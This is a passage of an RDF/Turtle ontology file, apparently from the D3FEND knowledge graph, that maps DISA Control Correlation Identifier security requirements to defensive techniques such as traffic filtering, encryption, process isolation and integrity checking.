    d3f:definition "The information system provides authorized individuals the capability to define or change the value of security attributes available for association with objects." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2013-06-24T00:00:00"^^xsd:dateTime .

d3f:CCI-002322_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002322" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The organization provides the capability to expeditiously disconnect or disable remote access to the information system within the organization-defined time period." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:RemoteTerminalSessionDetection ;
    d3f:published "2013-06-24T00:00:00"^^xsd:dateTime .

d3f:CCI-002346_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002346" ;
    d3f:broader d3f:DatabaseQueryStringAnalysis,
        d3f:DiskEncryption,
        d3f:FileEncryption ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The organization employs organization-defined data mining prevention techniques for organization-defined data storage objects to adequately protect against data mining." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2013-06-25T00:00:00"^^xsd:dateTime .

d3f:CCI-002347_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002347" ;
    d3f:broader d3f:FileAccessPatternAnalysis,
        d3f:InputDeviceAnalysis,
        d3f:ResourceAccessPatternAnalysis,
        d3f:UserDataTransferAnalysis ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The organization employs organization-defined data mining detection techniques for organization-defined data storage objects to adequately detect data mining attempts." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2013-06-25T00:00:00"^^xsd:dateTime .

d3f:CCI-002353_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002353" ;
    d3f:broader d3f:UserAccountPermissions ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system transmits organization-defined access authorization information using organization-defined security safeguards to organization-defined information systems which enforce access control decisions." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2013-06-25T00:00:00"^^xsd:dateTime .

d3f:CCI-002355_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002355" ;
    d3f:broader d3f:UserAccountPermissions ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system enforces access control decisions based on organization-defined security attributes that do not include the identity of the user or process acting on behalf of the user." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2013-06-25T00:00:00"^^xsd:dateTime .

d3f:CCI-002357_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002357" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system implements a reference monitor for organization-defined access control policies that is tamperproof." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:UserAccountPermissions ;
    d3f:published "2013-06-25T00:00:00"^^xsd:dateTime .

d3f:CCI-002358_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002358" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system implements a reference monitor for organization-defined access control policies that is always invoked." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:UserAccountPermissions ;
    d3f:published "2013-06-25T00:00:00"^^xsd:dateTime .

d3f:CCI-002359_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002359" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system implements a reference monitor for organization-defined access control policies that is small enough to be subject to analysis and testing, the completeness of which can be assured." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:UserAccountPermissions ;
    d3f:published "2013-06-25T00:00:00"^^xsd:dateTime .

d3f:CCI-002361_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002361" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system automatically terminates a user session after organization-defined conditions or trigger events requiring session disconnect." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:ProcessTermination ;
    d3f:published "2013-06-26T00:00:00"^^xsd:dateTime .

d3f:CCI-002363_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002363" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system provides a logout capability for user-initiated communications sessions whenever authentication is used to gain access to organization-defined information resources." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:ProcessTermination ;
    d3f:published "2013-06-26T00:00:00"^^xsd:dateTime .

d3f:CCI-002364_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002364" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system displays an explicit logout message to users indicating the reliable termination of authenticated communications sessions." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:ProcessTermination ;
    d3f:published "2013-06-26T00:00:00"^^xsd:dateTime .

d3f:CCI-002381_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002381" ;
    d3f:broader d3f:Hardware-basedProcessIsolation,
        d3f:Kernel-basedProcessIsolation ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The organization minimizes the number of nonsecurity functions included within the isolation boundary containing security functions." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2013-07-02T00:00:00"^^xsd:dateTime .

d3f:CCI-002382_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002382" ;
    d3f:broader d3f:Hardware-basedProcessIsolation,
        d3f:Kernel-basedProcessIsolation ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The organization implements security functions as largely independent modules that maximize internal cohesiveness within modules and minimize coupling between modules." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2013-07-02T00:00:00"^^xsd:dateTime .

d3f:CCI-002384_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002384" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system prevents unauthorized information transfer via shared resources in accordance with organization-defined procedures when system processing explicitly switches between different information classification levels or security categories." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:NetworkTrafficFiltering ;
    d3f:published "2013-07-02T00:00:00"^^xsd:dateTime .

d3f:CCI-002385_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002385" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system protects against or limits the effects of organization-defined types of denial of service attacks by employing organization-defined security safeguards." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:InboundTrafficFiltering,
        d3f:OutboundTrafficFiltering ;
    d3f:published "2013-07-02T00:00:00"^^xsd:dateTime .

d3f:CCI-002394_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002394" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system protects the availability of resources by allocating organization-defined resources based on priority, quota, and/or organization-defined security safeguards." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:SystemConfigurationPermissions ;
    d3f:published "2013-07-02T00:00:00"^^xsd:dateTime .

d3f:CCI-002397_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002397" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system, in conjunction with a remote device, prevents the device from simultaneously establishing non-remote connections with the system and communicating via some other connection to resources in external networks." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:InboundTrafficFiltering,
        d3f:OutboundTrafficFiltering ;
    d3f:published "2013-07-02T00:00:00"^^xsd:dateTime .

d3f:CCI-002400_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002400" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system audits the identity of internal users associated with denied outgoing communications traffic posing a threat to external information systems." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:OutboundTrafficFiltering ;
    d3f:published "2013-07-02T00:00:00"^^xsd:dateTime .

d3f:CCI-002403_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002403" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system only allows incoming communications from organization-defined authorized sources routed to organization-defined authorized destinations." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:InboundTrafficFiltering,
        d3f:OutboundTrafficFiltering ;
    d3f:published "2013-07-02T00:00:00"^^xsd:dateTime .

d3f:CCI-002409_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002409" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system blocks both inbound and outbound communications traffic between organization-defined communication clients that are independently configured by end users and external service providers." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:InboundTrafficFiltering,
        d3f:OutboundTrafficFiltering ;
    d3f:published "2013-07-02T00:00:00"^^xsd:dateTime .

d3f:CCI-002411_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002411" ;
    d3f:broader d3f:Hardware-basedProcessIsolation,
        d3f:IOPortRestriction,
        d3f:Kernel-basedProcessIsolation ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system provides the capability to dynamically isolate/segregate organization-defined information system components from other components of the system." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2013-07-02T00:00:00"^^xsd:dateTime .

d3f:CCI-002420_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002420" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system maintains the confidentiality and/or integrity of information during preparation for transmission." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:EncryptedTunnels ;
    d3f:published "2013-07-02T00:00:00"^^xsd:dateTime .

d3f:CCI-002421_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002421" ;
    d3f:broader d3f:EncryptedTunnels ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system implements cryptographic mechanisms to prevent unauthorized disclosure of information and/or detect changes to information during transmission unless otherwise protected by organization-defined alternative physical safeguards." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2013-07-02T00:00:00"^^xsd:dateTime .

d3f:CCI-002422_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002422" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system maintains the confidentiality and/or integrity of information during reception." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:EncryptedTunnels ;
    d3f:published "2013-07-02T00:00:00"^^xsd:dateTime .

d3f:CCI-002423_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002423" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system implements cryptographic mechanisms to protect message externals (e.g., message headers and routing information) unless otherwise protected by organization-defined alternative physical safeguards." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:EncryptedTunnels ;
    d3f:published "2013-07-02T00:00:00"^^xsd:dateTime .

d3f:CCI-002425_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002425" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system implements cryptographic mechanisms to conceal or randomize communication patterns unless otherwise protected by organization-defined alternative physical safeguards." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:EncryptedTunnels ;
    d3f:published "2013-07-02T00:00:00"^^xsd:dateTime .

d3f:CCI-002426_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002426" ;
    d3f:broader d3f:EncryptedTunnels ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system provides a trusted communications path that is logically isolated and distinguishable from other paths." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2013-07-02T00:00:00"^^xsd:dateTime .

d3f:CCI-002460_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002460" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system enforces organization-defined actions prior to executing mobile code." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:ExecutableDenylisting ;
    d3f:published "2013-07-02T00:00:00"^^xsd:dateTime .

d3f:CCI-002462_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002462" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system provides additional data integrity verification artifacts along with the authoritative name resolution data the system returns in response to external name/address resolution queries." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:DomainTrustPolicy ;
    d3f:published "2013-07-02T00:00:00"^^xsd:dateTime .

d3f:CCI-002463_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002463" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system provides data origin artifacts for internal name/address resolution queries." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:DomainTrustPolicy ;
    d3f:published "2013-07-02T00:00:00"^^xsd:dateTime .

d3f:CCI-002464_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002464" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system provides data integrity protection artifacts for internal name/address resolution queries." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:DomainTrustPolicy ;
    d3f:published "2013-07-02T00:00:00"^^xsd:dateTime .

d3f:CCI-002465_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002465" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system requests data origin authentication verification on the name/address resolution responses the system receives from authoritative sources." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:DomainTrustPolicy ;
    d3f:published "2013-07-02T00:00:00"^^xsd:dateTime .

d3f:CCI-002466_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002466" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system requests data integrity verification on the name/address resolution responses the system receives from authoritative sources." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:DomainTrustPolicy ;
    d3f:published "2013-07-02T00:00:00"^^xsd:dateTime .

d3f:CCI-002467_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002467" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system performs data integrity verification on the name/address resolution responses the system receives from authoritative sources." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:DNSTrafficAnalysis ;
    d3f:published "2013-07-02T00:00:00"^^xsd:dateTime .

d3f:CCI-002468_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002468" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system performs data origin verification authentication on the name/address resolution responses the system receives from authoritative sources." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:DNSTrafficAnalysis ;
    d3f:published "2013-07-02T00:00:00"^^xsd:dateTime .

d3f:CCI-002470_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002470" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system only allows the use of organization-defined certificate authorities for verification of the establishment of protected sessions." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:Certificate-basedAuthentication,
        d3f:CertificatePinning ;
    d3f:published "2013-07-02T00:00:00"^^xsd:dateTime .

d3f:CCI-002475_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002475" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system implements cryptographic mechanisms to prevent unauthorized modification of organization-defined information at rest on organization-defined information system components." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:DiskEncryption,
        d3f:FileEncryption ;
    d3f:published "2013-07-02T00:00:00"^^xsd:dateTime .

d3f:CCI-002476_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002476" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system implements cryptographic mechanisms to prevent unauthorized disclosure of organization-defined information at rest on organization-defined information system components." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:DiskEncryption,
        d3f:FileEncryption ;
    d3f:published "2013-07-02T00:00:00"^^xsd:dateTime .

d3f:CCI-002530_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002530" ;
    d3f:broader d3f:Hardware-basedProcessIsolation,
        d3f:Kernel-basedProcessIsolation ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system maintains a separate execution domain for each executing process." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2013-07-02T00:00:00"^^xsd:dateTime .

d3f:CCI-002531_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002531" ;
    d3f:broader d3f:Hardware-basedProcessIsolation ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system implements underlying hardware separation mechanisms to facilitate process separation." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2013-07-02T00:00:00"^^xsd:dateTime .

d3f:CCI-002533_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002533" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system maintains a separate execution domain for each thread in organization-defined multi-threaded processing." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:Kernel-basedProcessIsolation ;
    d3f:published "2013-07-02T00:00:00"^^xsd:dateTime .

d3f:CCI-002536_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002536" ;
    d3f:broader d3f:RFShielding ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system protects organization-defined external and internal wireless links from organization-defined types of signal parameter attacks or references to sources for such attacks." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2013-07-02T00:00:00"^^xsd:dateTime .

d3f:CCI-002546_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002546" ;
    d3f:broader d3f:IOPortRestriction ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The organization physically disables or removes organization-defined connection ports or input/output devices on organization-defined information systems or information system components." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2013-07-02T00:00:00"^^xsd:dateTime .

d3f:CCI-002605_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002605" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The organization installs security-relevant software updates within an organization-defined time period of the release of the updates." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:SoftwareUpdate ;
    d3f:published "2013-07-11T00:00:00"^^xsd:dateTime .

d3f:CCI-002607_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002607" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The organization installs security-relevant firmware updates within an organization-defined time period of the release of the updates." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:SoftwareUpdate ;
    d3f:published "2013-07-11T00:00:00"^^xsd:dateTime .

d3f:CCI-002613_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002613" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The organization installs organization-defined security-relevant software updates automatically to organization-defined information system components." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:SoftwareUpdate ;
    d3f:published "2013-07-11T00:00:00"^^xsd:dateTime .

d3f:CCI-002614_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002614" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The organization installs organization-defined security-relevant firmware updates automatically to organization-defined information system components." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:SoftwareUpdate ;
    d3f:published "2013-07-11T00:00:00"^^xsd:dateTime .

d3f:CCI-002617_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002617" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The organization removes organization-defined software components (e.g., previous versions) after updated versions have been installed." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:SoftwareUpdate ;
    d3f:published "2013-07-11T00:00:00"^^xsd:dateTime .

d3f:CCI-002618_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002618" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The organization removes organization-defined firmware components (e.g., previous versions) after updated versions have been installed." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:SoftwareUpdate ;
    d3f:published "2013-07-11T00:00:00"^^xsd:dateTime .

d3f:CCI-002630_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002630" ;
    d3f:broader d3f:ScriptExecutionAnalysis ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system detects organization-defined unauthorized operating system commands through the kernel application programming interface at organization-defined information system hardware components." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2013-07-11T00:00:00"^^xsd:dateTime .

d3f:CCI-002631_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002631" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system issues a warning, audits the command execution, or prevents the execution of the command when organization-defined unauthorized operating system commands are detected." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:ScriptExecutionAnalysis ;
    d3f:published "2013-07-11T00:00:00"^^xsd:dateTime .

d3f:CCI-002661_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002661" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system monitors inbound communications traffic per organization-defined frequency for unusual or unauthorized activities or conditions." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:InboundTrafficFiltering ;
    d3f:published "2013-07-11T00:00:00"^^xsd:dateTime .

d3f:CCI-002662_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002662" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system monitors outbound communications traffic per organization-defined frequency for unusual or unauthorized activities or conditions." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:OutboundTrafficFiltering ;
    d3f:published "2013-07-11T00:00:00"^^xsd:dateTime .

d3f:CCI-002684_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002684" ;
    d3f:broader d3f:NetworkTrafficAnalysis,
        d3f:PlatformMonitoring ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system audits and/or alerts organization-defined personnel when unauthorized network services are detected." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2013-07-11T00:00:00"^^xsd:dateTime .

d3f:CCI-002688_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002688" ;
    d3f:broader d3f:FileContentRules ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system discovers indicators of compromise." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2013-07-11T00:00:00"^^xsd:dateTime .

d3f:CCI-002689_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002689" ;
    d3f:broader d3f:FileContentRules ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system collects indicators of compromise." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2013-07-11T00:00:00"^^xsd:dateTime .

d3f:CCI-002690_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002690" ;
    d3f:broader d3f:FileContentRules ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system distributes indicators of compromise." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2013-07-11T00:00:00"^^xsd:dateTime .

d3f:CCI-002691_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002691" ;
    d3f:broader d3f:FileContentRules ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system uses indicators of compromise." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2013-07-11T00:00:00"^^xsd:dateTime .

d3f:CCI-002710_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002710" ;
    d3f:broader d3f:DriverLoadIntegrityChecking,
        d3f:FileHashing,
        d3f:PointerAuthentication,
        d3f:TPMBootIntegrity ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system performs an integrity check of organization-defined software at startup, at organization-defined transitional states or security-relevant events, or on an organization-defined frequency." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2013-07-11T00:00:00"^^xsd:dateTime .

d3f:CCI-002711_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002711" ;
    d3f:broader d3f:TPMBootIntegrity ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system performs an integrity check of organization-defined firmware at startup, at organization-defined transitional states or security-relevant events, or on an organization-defined frequency." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2013-07-11T00:00:00"^^xsd:dateTime .

d3f:CCI-002712_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002712" ;
    d3f:broader d3f:DriverLoadIntegrityChecking,
        d3f:FileHashing,
        d3f:PointerAuthentication,
        d3f:TPMBootIntegrity ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system performs an integrity check of organization-defined information at startup, at organization-defined transitional states or security-relevant events, or on an organization-defined frequency." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2013-07-11T00:00:00"^^xsd:dateTime .

d3f:CCI-002715_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002715" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system automatically shuts the information system down, restarts the information system, and/or implements organization-defined security safeguards when integrity violations are discovered." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:DriverLoadIntegrityChecking,
        d3f:FileHashing,
        d3f:PointerAuthentication,
        d3f:TPMBootIntegrity ;
    d3f:published "2013-07-11T00:00:00"^^xsd:dateTime .

d3f:CCI-002716_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002716" ;
    d3f:broader d3f:FileHashing ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system implements cryptographic mechanisms to detect unauthorized changes to software." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2013-07-11T00:00:00"^^xsd:dateTime .

d3f:CCI-002717_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002717" ;
    d3f:broader d3f:FileHashing ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system implements cryptographic mechanisms to detect unauthorized changes to firmware." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2013-07-11T00:00:00"^^xsd:dateTime .

d3f:CCI-002718_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002718" ;
    d3f:broader d3f:FileHashing ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system implements cryptographic mechanisms to detect unauthorized changes to information." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2013-07-11T00:00:00"^^xsd:dateTime .

d3f:CCI-002723_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002723" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system, upon detection of a potential integrity violation, provides the capability to audit the event." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
